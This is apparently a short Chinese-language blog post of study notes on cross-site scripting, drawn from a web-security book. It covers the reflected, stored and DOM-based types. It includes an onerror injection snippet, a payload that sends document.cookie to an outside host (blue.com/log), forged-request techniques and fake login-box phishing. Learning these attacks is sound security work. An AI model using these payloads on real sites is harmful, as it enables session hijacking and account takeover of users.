Bluetom

xss小记(1)

看《白帽子讲web安全》笔记整理

xss本身叫css的(cross site script)

但是为了区分style sheet简称xss

xss基本分为如下三种

1.反射型XSS

需要用户触发点击

2.存储型XSS

强稳定性,因存储在服务器上,当用户访问到脚本时候,即可构成攻击

3.DOM-xss

 严格意义上说也属于反射型XSS,通过修改页面DOM节点形成xss

 通过构建html

 example:

1
2
3
4

<a href=‘“+str+”>innerhtml</a>
<a href=“ 此处提前闭合标签
‘><img onerror=“xss()”>

XSS payload

  1. img.src=“[http://blue.com/log](http://blue.com/log)?” + escape(document.cookie)

    并不一定log?这个php文件一定存在,服务器log文件也会存有get请求日志

    cookie劫持,可以模拟用户登录,造成一定危害性

    2.伪造GET\POST请求

    *   可模拟GET请求,删除文章,邮件,等!*   document.createElement(“form”);
    
    form.submit();
    
    • XMLHttpRuquest发送post

XSS钓鱼

伪造登录框

获取cookie,即可伪造你的登录。。想想太可怕了

感想就是,js可以做的事情太多了。。这是另外一种看js的角度,赞

《web前端黑客技术解密》在读

未完待续

Bluetom

作为挨踢业的前段湿 搬过砖也画过画:爱看、爱听、爱玩儿、爱折腾、爱打撸啊撸、intj

Proudly published with Hexo